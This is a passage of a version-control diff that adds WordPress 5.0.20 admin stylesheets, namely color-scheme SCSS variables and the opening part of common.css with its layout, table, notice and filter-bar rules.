+$notification-color: #69a8bb;
+
+@import "../_admin.scss";
Index: /tags/5.0.20/src/wp-admin/css/colors/ocean/colors.scss
===================================================================
--- /tags/5.0.20/src/wp-admin/css/colors/ocean/colors.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/colors/ocean/colors.scss	(revision 56912)
@@ -0,0 +1,8 @@
+$base-color: #738e96;
+$icon-color: #f2fcff;
+$highlight-color: #9ebaa0;
+$notification-color: #aa9d88;
+
+$form-checked: $base-color;
+
+@import "../_admin.scss";
Index: /tags/5.0.20/src/wp-admin/css/colors/sunrise/colors.scss
===================================================================
--- /tags/5.0.20/src/wp-admin/css/colors/sunrise/colors.scss	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/colors/sunrise/colors.scss	(revision 56912)
@@ -0,0 +1,6 @@
+$base-color: #cf4944;
+$highlight-color: #dd823b;
+$notification-color: #ccaf0b;
+$menu-submenu-focus-text: lighten( $highlight-color, 35% );
+
+@import "../_admin.scss";
Index: /tags/5.0.20/src/wp-admin/css/common.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/common.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/common.css	(revision 56912)
@@ -0,0 +1,3954 @@
+/* 2 column liquid layout */
+#wpwrap {
+	height: auto;
+	min-height: 100%;
+	width: 100%;
+	position: relative;
+	-webkit-font-smoothing: subpixel-antialiased;
+}
+
+#wpcontent {
+	height: 100%;
+	padding-left: 20px;
+}
+
+#wpcontent,
+#wpfooter {
+	margin-left: 160px;
+}
+
+.folded #wpcontent,
+.folded #wpfooter {
+	margin-left: 36px;
+}
+
+#wpbody-content {
+	padding-bottom: 65px;
+	float: left;
+	width: 100%;
+	overflow: visible !important;
+}
+
+/* inner 2 column liquid layout */
+
+.inner-sidebar {
+	float: right;
+	clear: right;
+	display: none;
+	width: 281px;
+	position: relative;
+}
+
+.columns-2 .inner-sidebar {
+	margin-right: auto;
+	width: 286px;
+	display: block;
+}
+
+.inner-sidebar #side-sortables,
+.columns-2 .inner-sidebar #side-sortables {
+	min-height: 300px;
+	width: 280px;
+	padding: 0;
+}
+
+.has-right-sidebar .inner-sidebar {
+	display: block;
+}
+
+.has-right-sidebar #post-body {
+	float: left;
+	clear: left;
+	width: 100%;
+	margin-right: -2000px;
+}
+
+.has-right-sidebar #post-body-content {
+	margin-right: 300px;
+	float: none;
+	width: auto;
+}
+
+/* 2 columns main area */
+
+#col-left {
+	float: left;
+	width: 35%;
+}
+
+#col-right {
+	float: right;
+	width: 65%;
+}
+
+#col-left .col-wrap {
+	padding: 0 6px 0 0;
+}
+
+#col-right .col-wrap {
+	padding: 0 0 0 6px;
+}
+
+/* utility classes */
+.alignleft {
+	float: left;
+}
+
+.alignright {
+	float: right;
+}
+
+.textleft {
+	text-align: left;
+}
+
+.textright {
+	text-align: right;
+}
+
+.clear {
+	clear: both;
+}
+
+/* modern clearfix */
+.wp-clearfix:after {
+	content: "";
+	display: table;
+	clear: both;
+}
+
+/* Hide visually but not from screen readers */
+.screen-reader-text,
+.screen-reader-text span,
+.ui-helper-hidden-accessible {
+	border: 0;
+	clip: rect(1px, 1px, 1px, 1px);
+	-webkit-clip-path: inset(50%);
+	clip-path: inset(50%);
+	height: 1px;
+	margin: -1px;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	width: 1px;
+	word-wrap: normal !important; /* many screen reader and browser combinations announce broken words as they would appear visually */
+}
+
+.screen-reader-shortcut {
+	position: absolute;
+	top: -1000em;
+}
+
+.screen-reader-shortcut:focus {
+	left: 6px;
+	top: -25px;
+	height: auto;
+	width: auto;
+	display: block;
+	font-size: 14px;
+	font-weight: 600;
+	padding: 15px 23px 14px;
+	background: #f1f1f1;
+	color: #0073aa;
+	z-index: 100000;
+	line-height: normal;
+	box-shadow: 0 0 2px 2px rgba(0,0,0,.6);
+	text-decoration: none;
+	outline: none;
+}
+
+.hidden,
+.js .closed .inside,
+.js .hide-if-js,
+.no-js .hide-if-no-js,
+.js.wp-core-ui .hide-if-js,
+.js .wp-core-ui .hide-if-js,
+.no-js.wp-core-ui .hide-if-no-js,
+.no-js .wp-core-ui .hide-if-no-js {
+	display: none;
+}
+
+/* @todo: Take a second look. Large chunks of shared color, from the colors.css merge */
+.widget-top,
+.menu-item-handle,
+.widget-inside,
+#menu-settings-column .accordion-container,
+#menu-management .menu-edit,
+.manage-menus,
+table.widefat,
+.stuffbox,
+p.popular-tags,
+.widgets-holder-wrap,
+.wp-editor-container,
+.popular-tags,
+.feature-filter,
+.imgedit-group,
+.comment-ays {
+	border: 1px solid #e5e5e5;
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+}
+
+table.widefat,
+.wp-editor-container,
+.stuffbox,
+p.popular-tags,
+.widgets-holder-wrap,
+.popular-tags,
+.feature-filter,
+.imgedit-group,
+.comment-ays {
+	background: #fff;
+}
+
+/* general */
+html,
+body {
+	height: 100%;
+	margin: 0;
+	padding: 0;
+}
+
+body {
+	background: #f1f1f1;
+	color: #444;
+	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	line-height: 1.4em;
+	min-width: 600px;
+}
+
+body.iframe {
+	min-width: 0;
+	padding-top: 1px;
+}
+
+body.modal-open {
+	overflow: hidden;
+}
+
+body.mobile.modal-open #wpwrap {
+	overflow: hidden;
+	position: fixed;
+	height: 100%;
+}
+
+iframe,
+img {
+	border: 0;
+}
+
+td {
+	font-family: inherit;
+	font-size: inherit;
+	font-weight: inherit;
+	line-height: inherit;
+}
+
+/* Any change to the default link style must be applied to button-link too. */
+a {
+	color: #0073aa;
+	transition-property: border, background, color;
+	transition-duration: .05s;
+	transition-timing-function: ease-in-out;
+}
+
+a,
+div {
+	outline: 0;
+}
+
+a:hover,
+a:active {
+	color: #00a0d2;
+}
+
+a:focus,
+a:focus .media-icon img,
+.wp-person a:focus .gravatar {
+	color: #124964;
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.ie8 a:focus {
+	outline: #5b9dd9 solid 1px;
+}
+
+#adminmenu a:focus,
+.screen-reader-text:focus {
+	box-shadow: none;
+	outline: none;
+}
+
+blockquote,
+q {
+	quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+	content: none;
+}
+
+p {
+	font-size: 13px;
+	line-height: 1.5;
+	margin: 1em 0;
+}
+
+blockquote {
+	margin: 1em;
+}
+
+li,
+dd {
+	margin-bottom: 6px;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	display: block;
+	font-weight: 600;
+}
+
+h1 {
+	color: #23282d;
+	font-size: 2em;
+	margin: .67em 0;
+}
+
+h2,
+h3 {
+	color: #23282d;
+	font-size: 1.3em;
+	margin: 1em 0;
+}
+
+.update-core-php h2 {
+	margin-top: 2em;
+}
+
+.update-php h2,
+.update-messages h2,
+h4 {
+	font-size: 1em;
+	margin: 1.33em 0;
+}
+
+h5 {
+	font-size: 0.83em;
+	margin: 1.67em 0;
+}
+
+h6 {
+	font-size: 0.67em;
+	margin: 2.33em 0;
+}
+
+ul,
+ol {
+	padding: 0;
+}
+
+ul {
+	list-style: none;
+}
+
+ol {
+	list-style-type: decimal;
+	margin-left: 2em;
+}
+
+ul.ul-disc {
+	list-style: disc outside;
+}
+
+ul.ul-square {
+	list-style: square outside;
+}
+
+ol.ol-decimal {
+	list-style: decimal outside;
+}
+
+ul.ul-disc,
+ul.ul-square,
+ol.ol-decimal {
+	margin-left: 1.8em;
+}
+
+ul.ul-disc > li,
+ul.ul-square > li,
+ol.ol-decimal > li {
+	margin: 0 0 0.5em;
+}
+
+/* rtl:ignore */
+.ltr {
+	direction: ltr;
+}
+
+/* rtl:ignore */
+.code,
+code {
+	font-family: Consolas, Monaco, monospace;
+	direction: ltr;
+	unicode-bidi: embed;
+}
+
+kbd,
+code {
+	padding: 3px 5px 2px 5px;
+	margin: 0 1px;
+	background: #eaeaea;
+	background: rgba(0,0,0,0.07);
+	font-size: 13px;
+}
+
+.subsubsub {
+	list-style: none;
+	margin: 8px 0 0;
+	padding: 0;
+	font-size: 13px;
+	float: left;
+	color: #666;
+}
+
+.subsubsub a {
+	line-height: 2;
+	padding: .2em;
+	text-decoration: none;
+}
+
+.subsubsub a .count,
+.subsubsub a.current .count {
+	color: #555d66; /* #f1f1f1 background */
+	font-weight: 400;
+}
+
+.subsubsub a.current {
+	font-weight: 600;
+	border: none;
+}
+
+.subsubsub li {
+	display: inline-block;
+	margin: 0;
+	padding: 0;
+	white-space: nowrap;
+}
+
+/* .widefat - main style for tables */
+.widefat {
+	border-spacing: 0;
+	width: 100%;
+	clear: both;
+	margin: 0;
+}
+
+.widefat * {
+	word-wrap: break-word;
+}
+
+.widefat a,
+.widefat button.button-link {
+	text-decoration: none;
+}
+
+.widefat td,
+.widefat th {
+	padding: 8px 10px;
+}
+
+.widefat thead th,
+.widefat thead td {
+	border-bottom: 1px solid #e1e1e1;
+}
+
+.widefat tfoot th,
+.widefat tfoot td {
+	border-top: 1px solid #e1e1e1;
+	border-bottom: none;
+}
+
+.widefat .no-items td {
+	border-bottom-width: 0;
+}
+
+.widefat td {
+	vertical-align: top;
+}
+
+.widefat td,
+.widefat td p,
+.widefat td ol,
+.widefat td ul {
+	font-size: 13px;
+	line-height: 1.5em;
+}
+
+.widefat th,
+.widefat thead td,
+.widefat tfoot td {
+	text-align: left;
+	line-height: 1.3em;
+	font-size: 14px;
+}
+
+.widefat th input,
+.updates-table td input,
+.widefat thead td input,
+.widefat tfoot td input {
+	margin: 0 0 0 8px;
+	padding: 0;
+	vertical-align: text-top;
+}
+
+.widefat .check-column {
+	width: 2.2em;
+	padding: 6px 0 25px;
+	vertical-align: top;
+}
+
+.widefat tbody th.check-column {
+	padding: 9px 0 22px;
+}
+
+.widefat thead td.check-column,
+.widefat tbody th.check-column,
+.updates-table tbody td.check-column,
+.widefat tfoot td.check-column {
+	padding: 11px 0 0 3px;
+}
+
+.widefat thead td.check-column,
+.widefat tfoot td.check-column {
+	padding-top: 4px;
+	vertical-align: middle;
+}
+
+.update-php div.updated,
+.update-php div.error {
+	margin-left: 0;
+}
+
+.no-js .widefat thead .check-column input,
+.no-js .widefat tfoot .check-column input {
+	display: none;
+}
+
+.widefat .num,
+.column-comments,
+.column-links,
+.column-posts {
+	text-align: center;
+}
+
+.widefat th#comments {
+	vertical-align: middle;
+}
+
+.wrap {
+	margin: 10px 20px 0 2px;
+}
+
+.wrap.block-editor-no-js {
+	padding-left: 20px;
+}
+
+.wrap > h2:first-child, /* Back-compat for pre-4.4 */
+.wrap [class$="icon32"] + h2, /* Back-compat for pre-4.4 */
+.postbox .inside h2, /* Back-compat for pre-4.4 */
+.wrap h1 {
+	font-size: 23px;
+	font-weight: 400;
+	margin: 0;
+	padding: 9px 0 4px 0;
+	line-height: 29px;
+}
+
+.wrap h1.wp-heading-inline {
+	display: inline-block;
+	margin-right: 5px;
+}
+
+.wp-header-end {
+	visibility: hidden;
+	margin: -2px 0 0;
+}
+
+.subtitle {
+	margin: 0;
+	padding-left: 25px;
+	color: #555d66;
+	font-size: 14px;
+	font-weight: 400;
+	line-height: 1;
+}
+
+.wrap .add-new-h2, /* deprecated */
+.wrap .add-new-h2:active, /* deprecated */
+.wrap .page-title-action,
+.wrap .page-title-action:active {
+	margin-left: 4px;
+	padding: 4px 8px;
+	position: relative;
+	top: -3px;
+	text-decoration: none;
+	border: none;
+	border: 1px solid #ccc;
+	border-radius: 2px;
+	background: #f7f7f7;
+	text-shadow: none;
+	font-weight: 600;
+	font-size: 13px;
+	line-height: normal; /* IE8-IE11 need this for buttons */
+	color: #0073aa; /* some of these controls are button elements and don't inherit from links */
+	cursor: pointer;
+	outline: 0;
+}
+
+.wrap .wp-heading-inline + .page-title-action {
+	margin-left: 0;
+}
+
+.wrap .add-new-h2:hover, /* deprecated */
+.wrap .page-title-action:hover {
+	border-color: #008EC2;
+	background: #00a0d2;
+	color: #fff;
+}
+
+/* lower specificity: color needs to be overridden by :hover and :active */
+.page-title-action:focus {
+	color: #124964;
+}
+
+.wrap .page-title-action:focus {
+	border-color: #5b9dd9;
+	box-shadow: 0 0 2px rgba( 30, 140, 190, 0.8 );
+}
+
+.wrap h1.long-header {
+	padding-right: 0;
+}
+
+.wp-dialog {
+	background-color: #fff;
+}
+
+.widgets-chooser ul,
+#widgets-left .widget-in-question .widget-top,
+#available-widgets .widget-top:hover,
+div#widgets-right .widget-top:hover,
+#widgets-left .widget-top:hover {
+	border-color: #999;
+	box-shadow: 0 1px 2px rgba(0,0,0,0.1);
+}
+
+.sorthelper {
+	background-color: #ccf3fa;
+}
+
+.ac_match,
+.subsubsub a.current {
+	color: #000;
+}
+
+.striped > tbody > :nth-child(odd),
+ul.striped > :nth-child(odd),
+.alternate {
+	background-color: #f9f9f9;
+}
+
+.bar {
+	background-color: #e8e8e8;
+	border-right-color: #99d;
+}
+
+/* Helper classes for plugins to leverage the active WordPress color scheme */
+
+.highlight {
+	background-color: #e4f2fd;
+	color: #000;
+}
+
+.wp-ui-primary {
+	color: #fff;
+	background-color: #32373c;
+}
+.wp-ui-text-primary {
+	color: #32373c;
+}
+
+.wp-ui-highlight {
+	color: #fff;
+	background-color: #1e8cbe;
+}
+.wp-ui-text-highlight {
+	color: #1e8cbe;
+}
+
+.wp-ui-notification {
+	color: #fff;
+	background-color: #d54e21;
+}
+.wp-ui-text-notification {
+	color: #d54e21;
+}
+
+.wp-ui-text-icon {
+	color: #82878c; /* same as new icons */
+}
+
+/* For emoji replacement images */
+img.emoji {
+	display: inline !important;
+	border: none !important;
+	height: 1em !important;
+	width: 1em !important;
+	margin: 0 .07em !important;
+	vertical-align: -0.1em !important;
+	background: none !important;
+	padding: 0 !important;
+	box-shadow: none !important;
+}
+
+/*------------------------------------------------------------------------------
+  1.0 - Text Styles
+------------------------------------------------------------------------------*/
+
+.widget .widget-top,
+.postbox .hndle,
+.stuffbox .hndle,
+.control-section .accordion-section-title,
+.sidebar-name,
+#nav-menu-header,
+#nav-menu-footer,
+.menu-item-handle,
+.checkbox,
+.side-info,
+#your-profile #rich_editing,
+.widefat thead th,
+.widefat thead td,
+.widefat tfoot th,
+.widefat tfoot td {
+	line-height: 1.4em;
+}
+
+.widget .widget-top,
+.menu-item-handle {
+	background: #fafafa;
+	color: #23282d;
+}
+
+.postbox .hndle,
+.stuffbox .hndle {
+	border-bottom: 1px solid #eee;
+}
+
+.quicktags,
+.search {
+	background-color: #ccc;
+	color: #000;
+	font-size: 12px;
+}
+
+.icon32 {
+	display: none;
+}
+
+/* @todo can we combine these into a class or use an existing dashicon one? */
+.welcome-panel .welcome-panel-close:before,
+.tagchecklist .ntdelbutton .remove-tag-icon:before,
+#bulk-titles div a:before,
+.notice-dismiss:before {
+	background: none;
+	color: #72777c;
+	content: "\f153";
+	display: block;
+	font: normal 16px/20px dashicons;
+	speak: none;
+	height: 20px;
+	text-align: center;
+	width: 20px;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.welcome-panel .welcome-panel-close:before {
+	margin: 0;
+}
+
+#bulk-titles div a:before {
+	margin: 1px 0;
+}
+
+.tagchecklist .ntdelbutton .remove-tag-icon:before {
+	margin-left: 2px;
+	border-radius: 50%;
+	color: #0073aa;
+	/* vertically center the icon cross browsers */
+	line-height: 1.28;
+}
+
+.tagchecklist .ntdelbutton:focus {
+	outline: 0;
+}
+
+.welcome-panel .welcome-panel-close:hover:before,
+.welcome-panel .welcome-panel-close:focus:before,
+.tagchecklist .ntdelbutton:hover .remove-tag-icon:before,
+.tagchecklist .ntdelbutton:focus .remove-tag-icon:before,
+#bulk-titles div a:hover:before,
+#bulk-titles div a:focus:before {
+	color: #c00;
+}
+
+.tagchecklist .ntdelbutton:focus .remove-tag-icon:before {
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.key-labels label {
+	line-height: 24px;
+}
+
+strong, b {
+	font-weight: 600;
+}
+
+.pre {
+	/* https://developer.mozilla.org/en-US/docs/CSS/white-space */
+	white-space: pre-wrap; /* css-3 */
+	word-wrap: break-word; /* IE 5.5 - 7 */
+}
+
+.howto {
+	color: #666;
+	font-style: italic;
+	display: block;
+}
+
+p.install-help {
+	margin: 8px 0;
+	font-style: italic;
+}
+
+.no-break {
+	white-space: nowrap;
+}
+
+hr {
+	border: 0;
+	border-top: 1px solid #ddd;
+	border-bottom: 1px solid #fafafa;
+}
+
+.row-actions span.delete a,
+.row-actions span.trash a,
+.row-actions span.spam a,
+.plugins a.delete,
+#all-plugins-table .plugins a.delete,
+#search-plugins-table .plugins a.delete,
+.submitbox .submitdelete,
+#media-items a.delete,
+#media-items a.delete-permanently,
+#nav-menu-footer .menu-delete,
+#delete-link a.delete {
+	color: #a00;
+}
+
+abbr.required,
+span.required,
+.file-error,
+.row-actions .delete a:hover,
+.row-actions .trash a:hover,
+.row-actions .spam a:hover,
+.plugins a.delete:hover,
+#all-plugins-table .plugins a.delete:hover,
+#search-plugins-table .plugins a.delete:hover,
+.submitbox .submitdelete:hover,
+#media-items a.delete:hover,
+#media-items a.delete-permanently:hover,
+#nav-menu-footer .menu-delete:hover,
+#delete-link a.delete:hover {
+	color: #dc3232;
+	border: none;
+}
+
+/*------------------------------------------------------------------------------
+  3.0 - Actions
+------------------------------------------------------------------------------*/
+
+#major-publishing-actions {
+	padding: 10px;
+	clear: both;
+	border-top: 1px solid #ddd;
+	background: #f5f5f5;
+}
+
+#delete-action {
+	float: left;
+	line-height: 28px;
+}
+
+#delete-link {
+	line-height: 28px;
+	vertical-align: middle;
+	text-align: left;
+	margin-left: 8px;
+}
+
+#delete-link a {
+	text-decoration: none;
+}
+
+#publishing-action {
+	text-align: right;
+	float: right;
+	line-height: 23px;
+}
+
+#publishing-action .spinner {
+	float: left;
+}
+
+#misc-publishing-actions {
+	padding: 6px 0 0;
+}
+
+.misc-pub-section {
+	padding: 6px 10px 8px;
+}
+
+.misc-pub-filename {
+	word-wrap: break-word;
+}
+
+#minor-publishing-actions {
+	padding: 10px 10px 0 10px;
+	text-align: right;
+}
+
+#save-post {
+	float: left;
+}
+
+.preview {
+	float: right;
+}
+
+#sticky-span {
+	margin-left: 18px;
+}
+
+.approve,
+.unapproved .unapprove {
+	display: none;
+}
+
+.unapproved .approve,
+.spam .approve,
+.trash .approve {
+	display: inline;
+}
+
+td.action-links,
+th.action-links {
+	text-align: right;
+}
+
+#misc-publishing-actions .notice {
+	margin-left: 10px;
+	margin-right: 10px;
+}
+
+/* Filter bar */
+.wp-filter {
+	display: inline-block;
+	position: relative;
+	box-sizing: border-box;
+	margin: 12px 0 25px;
+	padding: 0 10px;
+	width: 100%;
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	border: 1px solid #e5e5e5;
+	background: #fff;
+	color: #555;
+	font-size: 13px;
+}
+
+.wp-filter a {
+	text-decoration: none;
+}
+
+.filter-count {
+	display: inline-block;
+	vertical-align: middle;
+	min-width: 4em;
+}
+
+.title-count,
+.filter-count .count {
+	display: inline-block;
+	position: relative;
+	top: -1px;
+	padding: 4px 10px;
+	border-radius: 30px;
+	background: #72777c;
+	color: #fff;
+	font-size: 14px;
+	font-weight: 600;
+}
+
+/* not a part of filter bar, but derived from it, so here for now */
+.title-count {
+	display: inline;
+	top: -3px;
+	margin-left: 5px;
+	margin-right: 20px;
+}
+
+.filter-items {
+	float: left;
+}
+
+.filter-links {
+	display: inline-block;
+	margin: 0;
+}
+
+.filter-links li {
+	display: inline-block;
+	margin: 0;
+}
+
+.filter-links li > a {
+	display: inline-block;
+	margin: 0 10px;
+	padding: 15px 0;
+	border-bottom: 4px solid #fff;
+	color: #666;
+	cursor: pointer;
+}
+
+.filter-links .current {
+	box-shadow: none;
+	border-bottom: 4px solid #666;
+	color: #23282d;
+}
+
+.filter-links li > a:hover,
+.filter-links li > a:focus,
+.show-filters .filter-links a.current:hover,
+.show-filters .filter-links a.current:focus {
+	color: #00a0d2;
+}
+
+.wp-filter .search-form {
+	float: right;
+	margin: 10px 0;
+}
+
+.wp-filter .search-form input[type="search"] {
+	margin: 0;
+	padding: 3px 5px;
+	width: 280px;
+	max-width: 100%;
+	font-size: 16px;
+	font-weight: 300;
+	line-height: 1.5;
+}
+
+.wp-filter .search-form select {
+	margin: 0;
+	height: 32px;
+	vertical-align: top;
+}
+
+.wp-filter .search-form.search-plugins {
+	display: inline-block;
+}
+
+.wp-filter .button.drawer-toggle {
+	margin: 10px 9px 0;
+	padding: 0 10px 0 6px;
+	border-color: transparent;
+	background-color: transparent;
+	color: #666;
+	vertical-align: baseline;
+	box-shadow: none;
+}
+
+.wp-filter .drawer-toggle:before {
+	content: "\f111";
+	margin: 0 5px 0 0;
+	color: #72777c;
+	font: normal 16px/1 dashicons;
+	vertical-align: text-bottom;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.wp-filter .button.drawer-toggle:hover,
+.wp-filter .drawer-toggle:hover:before,
+.wp-filter .button.drawer-toggle:focus,
+.wp-filter .drawer-toggle:focus:before {
+	background-color: transparent;
+	color: #00a0d2;
+}
+
+.wp-filter .button.drawer-toggle:hover,
+.wp-filter .button.drawer-toggle:focus:active {
+	border-color: transparent;
+}
+
+.wp-filter .button.drawer-toggle:focus {
+	border-color: #5b9dd9;
+}
+
+.wp-filter .button.drawer-toggle:active {
+	background: transparent;
+	box-shadow: none;
+	transform: none;
+}
+
+.wp-filter .drawer-toggle.current:before {
+	color: #fff;
+}
+
+.filter-drawer,
+.wp-filter .favorites-form {
+	display: none;
+	margin: 0 -10px 0 -20px;
+	padding: 20px;
+	border-top: 1px solid #eee;
+	background: #fafafa;
+	overflow: hidden;
+}
+
+.show-filters .filter-drawer,
+.show-favorites-form .favorites-form {
+	display: block;
+}
+
+.show-filters .filter-links a.current {
+	border-bottom: none;
+}
+
+.show-filters .wp-filter .button.drawer-toggle {
+	border-radius: 2px;
+	background: #72777c;
+	color: #fff;
+}
+
+.show-filters .wp-filter .drawer-toggle:hover,
+.show-filters .wp-filter .drawer-toggle:focus {
+	background: rgb(46, 162, 204);
+}
+
+.show-filters .wp-filter .drawer-toggle:before {
+	color: #fff;
+}
+
+.filter-group {
+	box-sizing: border-box;
+	position: relative;
+	float: left;
+	margin: 0 1% 0 0;
+	padding: 20px 10px 10px;
+	width: 24%;
+	background: #fff;
+	border: 1px solid #e5e5e5;
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+}
+
+.filter-group legend {
+	position: absolute;
+	top: 10px;
+	display: block;
+	margin: 0;
+	padding: 0;
+	font-size: 1em;
+	font-weight: 600;
+}
+
+.filter-drawer .filter-group-feature {
+	margin: 28px 0 0;
+	list-style-type: none;
+	font-size: 12px;
+}
+
+.filter-drawer .filter-group-feature input,
+.filter-drawer .filter-group-feature label {
+	line-height: 16px;
+}
+
+.filter-drawer .filter-group-feature input {
+	position: absolute;
+	margin: 0;
+}
+
+.filter-group .filter-group-feature label {
+	display: block;
+	margin: 14px 0px 14px 23px;
+}
+
+.filter-drawer .buttons {
+	clear: both;
+	margin-bottom: 20px;
+}
+
+.filter-drawer .filter-group + .buttons {
+	margin-bottom: 0;
+	padding-top: 20px;
+}
+
+.filter-drawer .buttons .button span {
+	display: inline-block;
+	opacity: 0.8;
+	font-size: 12px;
+	text-indent: 10px;
+}
+
+.wp-filter .button.clear-filters {
+	display: none;
+	margin-left: 10px;
+}
+
+.wp-filter .button-link.edit-filters {
+	padding: 0 5px;
+	line-height: 28px;
+}
+
+.filtered-by {
+	display: none;
+	margin: 0;
+}
+
+.filtered-by > span {
+	font-weight: 600;
+}
+
+.filtered-by a {
+	margin-left: 10px;
+}
+
+.filtered-by .tags {
+	display: inline;
+}
+
+.filtered-by .tag {
+	margin: 0 5px;
+	padding: 4px 8px;
+	border: 1px solid #e5e5e5;
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+	background: #fff;
+	font-size: 11px;
+}
+
+.filters-applied .filter-group,
+.filters-applied .filter-drawer .buttons,
+.filters-applied .filter-drawer br {
+	display: none !important;
+}
+
+.filters-applied .filtered-by {
+	display: block;
+}
+
+.filters-applied .filter-drawer {
+	padding: 20px;
+}
+
+.show-filters .favorites-form,
+.show-filters .content-filterable,
+.show-filters.filters-applied.loading-content .content-filterable,
+.loading-content .content-filterable,
+.error .content-filterable {
+	display: none;
+}
+
+.show-filters.filters-applied .content-filterable {
+	display: block;
+}
+
+.loading-content .spinner {
+	display: block;
+	margin: 40px auto 0;
+	float: none;
+}
+
+@media only screen and (max-width: 1120px) {
+	.filter-drawer {
+		border-bottom: 1px solid #eee;
+	}
+
+	.filter-group {
+		margin-bottom: 0;
+		margin-top: 5px;
+		width: 100%;
+	}
+
+	.filter-group li {
+		margin: 10px 0;
+	}
+}
+
+@media only screen and (max-width: 1000px) {
+	.filter-items {
+		float: none;
+	}
+
+	.wp-filter .media-toolbar-primary,
+	.wp-filter .media-toolbar-secondary,
+	.wp-filter .search-form {
+		float: none; /* Remove float from media-views.css */
+		position: relative;
+		max-width: 100%;
+	}
+}
+
+@media only screen and (max-width: 782px) {
+	.filter-group li {
+		padding: 0;
+		width: 50%;
+	}
+}
+
+@media only screen and (max-width: 320px) {
+	.filter-count {
+		display: none;
+	}
+
+	.wp-filter .drawer-toggle {
+		margin: 10px 0;
+	}
+
+	.filter-group li,
+	.wp-filter .search-form input[type="search"] {
+		width: 100%;
+	}
+}
+
+/*------------------------------------------------------------------------------
+  4.0 - Notifications
+------------------------------------------------------------------------------*/
+
+.notice,
+div.updated,
+div.error {
+	background: #fff;
+	border-left: 4px solid #fff;
+	box-shadow: 0 1px 1px 0 rgba( 0, 0, 0, 0.1 );
+	margin: 5px 15px 2px;
+	padding: 1px 12px;
+}
+
+div[class="update-message"] { /* back-compat for pre-4.6 */
+	padding: 0.5em 12px 0.5em 0;
+}
+
+.notice p,
+.notice-title,
+div.updated p,
+div.error p,
+.form-table td .notice p {
+	margin: 0.5em 0;
+	padding: 2px;
+}
+
+.error a {
+	text-decoration: underline;
+}
+
+.updated a {
+	padding-bottom: 2px;
+}
+
+.notice-alt {
+	box-shadow: none;
+}
+
+.notice-large {
+	padding: 10px 20px;
+}
+
+.notice-title {
+	display: inline-block;
+	color: #23282d;
+	font-size: 18px;
+}
+
+.wp-core-ui .notice.is-dismissible {
+	padding-right: 38px;
+	position: relative;
+}
+
+.notice-dismiss {
+	position: absolute;
+	top: 0;
+	right: 1px;
+	border: none;
+	margin: 0;
+	padding: 9px;
+	background: none;
+	color: #72777c;
+	cursor: pointer;
+}
+
+.notice-dismiss:hover:before,
+.notice-dismiss:active:before,
+.notice-dismiss:focus:before {
+	color: #c00;
+}
+
+.notice-dismiss:focus {
+	outline: none;
+	box-shadow: 0 0 0 1px #5b9dd9, 0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+.ie8 .notice-dismiss:focus {
+	outline: 1px solid #5b9dd9;
+}
+
+.notice-success,
+div.updated {
+	border-left-color: #46b450;
+}
+
+.notice-success.notice-alt {
+	background-color: #ecf7ed;
+}
+
+.notice-warning {
+	border-left-color: #ffb900;
+}
+
+.notice-warning.notice-alt {
+	background-color: #fff8e5;
+}
+
+.notice-error,
+div.error {
+	border-left-color: #dc3232;
+}
+
+.notice-error.notice-alt {
+	background-color: #fbeaea;
+}
+
+.notice-info {
+	border-left-color: #00a0d2;
+}
+
+.notice-info.notice-alt {
+	background-color: #e5f5fa;
+}
+
+.update-message p:before,
+.updating-message p:before,
+.updated-message p:before,
+.import-php .updating-message:before,
+.button.updating-message:before,
+.button.updated-message:before,
+.button.installed:before,
+.button.installing:before {
+	display: inline-block;
+	font: normal 20px/1 'dashicons';
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+	vertical-align: top;
+}
+
+.wrap .notice,
+.wrap div.updated,
+.wrap div.error,
+.media-upload-form .notice,
+.media-upload-form div.error {
+	margin: 5px 0 15px;
+}
+
+.wrap #templateside .notice {
+	display: block;
+	margin: 0;
+	padding: 5px 8px;
+	font-weight: 600;
+	text-decoration: none;
+}
+
+.wrap #templateside span.notice {
+	margin-left: -12px;
+}
+
+#templateside li.notice a {
+	padding: 0;
+}
+
+/* Update icon. */
+.update-message p:before,
+.updating-message p:before,
+.import-php .updating-message:before,
+.button.updating-message:before,
+.button.installing:before {
+	color: #f56e28;
+	content: "\f463";
+}
+
+/* Spins the update icon. */
+.updating-message p:before,
+.import-php .updating-message:before,
+.button.updating-message:before,
+.button.installing:before {
+	animation: rotation 2s infinite linear;
+}
+
+/* Updated icon (check mark). */
+.updated-message p:before,
+.installed p:before,
+.button.updated-message:before {
+	color: #79ba49;
+	content: '\f147';
+}
+
+/* Error icon. */
+.update-message.notice-error p:before {
+	 color: #dc3232;
+	 content: "\f534";
+}
+
+.wrap .notice p:before,
+.import-php .updating-message:before {
+	margin-right: 6px;
+	vertical-align: bottom;
+}
+
+#update-nag,
+.update-nag {
+	display: inline-block;
+	line-height: 19px;
+	padding: 11px 15px;
+	font-size: 14px;
+	text-align: left;
+	margin: 25px 20px 0 2px;
+	background-color: #fff;
+	border-left: 4px solid #ffba00;
+	box-shadow: 0 1px 1px 0 rgba(0,0,0,0.1);
+}
+
+ul#dismissed-updates {
+	display: none;
+}
+
+form.upgrade {
+	margin-top: 8px;
+}
+
+form.upgrade .hint {
+	font-style: italic;
+	font-size: 85%;
+	margin: -0.5em 0 2em 0;
+}
+
+.update-php .spinner {
+	float: none;
